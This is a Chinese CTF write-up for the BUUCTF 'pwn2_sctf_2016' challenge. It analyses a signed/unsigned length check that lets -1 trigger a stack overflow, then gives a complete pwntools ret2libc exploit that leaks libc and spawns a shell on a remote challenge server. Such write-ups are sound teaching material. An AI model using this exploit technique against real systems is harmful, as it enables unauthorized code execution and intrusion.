pwn2 sctf 2016

# pwn2 sctf 2016

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/pwn2_sctf_2016/pwn2_sctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

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# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}

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vuln函数如下

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(&nptr, 4);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

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get_n函数如下

int __cdecl get_n(int a1, unsigned int a2)
{
  int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = 0;
  while ( 1 )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || v5 >= a2 )
      break;
    v2 = v5++;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + v5;
  *(_BYTE *)(a1 + v5) = 0;
  return result;
}

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# 思路分析

目前信息：
- get_n函数的第二次调用时若能控制v2参数即可实现任意长度写入
- 而v2参数是由第一次get_n调用时处理的
- get_n函数顾名思义为向第一个参数内写入第二个参数长度的数据
- 第一次输入的数据将被转换为int值，该值并不允许大于32，造成长度太短，无法控制程序执行流
- if判断是有符号类型，get_n的控制写入数据长度参数的数据类型为无符号类型
- No PIE
思路：
- 利用有无符号类型的区别，首次输入为负数内容绕过if判断，例如-1，这是该值将会以无符号数的读取方式成为第二次输入数据的长度，为溢出提供条件，后续就是常规的ret2libc

# exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/pwn2_sctf_2016/pwn2_sctf_2016'
io = remote('node4.buuoj.cn', 25697)
# io = process(pwnfile)
elf = ELF(pwnfile)
printf_plt = elf.plt['printf']
libc_start_main_got = elf.got['__libc_start_main']
offset = 44+4
pop_ret = 0x0804835d
vuln_addr = elf.symbols['vuln']
io.sendlineafter('me to read?', '-1')
payload = flat(['a'*offset, printf_plt, pop_ret,libc_start_main_got, vuln_addr])
io.sendlineafter('bytes of data!\n', payload)
io.recvuntil('\n')
leak_libc_start_main = u32(io.recvuntil('How many bytes do you want me to read?', drop=True))
libc = LibcSearcher('__libc_start_main', leak_libc_start_main)
libcbase = leak_libc_start_main-libc.dump('__libc_start_main')
system = libcbase+libc.dump('system')
bin_sh = libcbase+libc.dump('str_bin_sh')
io.sendline('-1')
payload = flat(['a'*offset, system, 0xdeadbeef, bin_sh])
io.sendlineafter('bytes of data!\n', payload)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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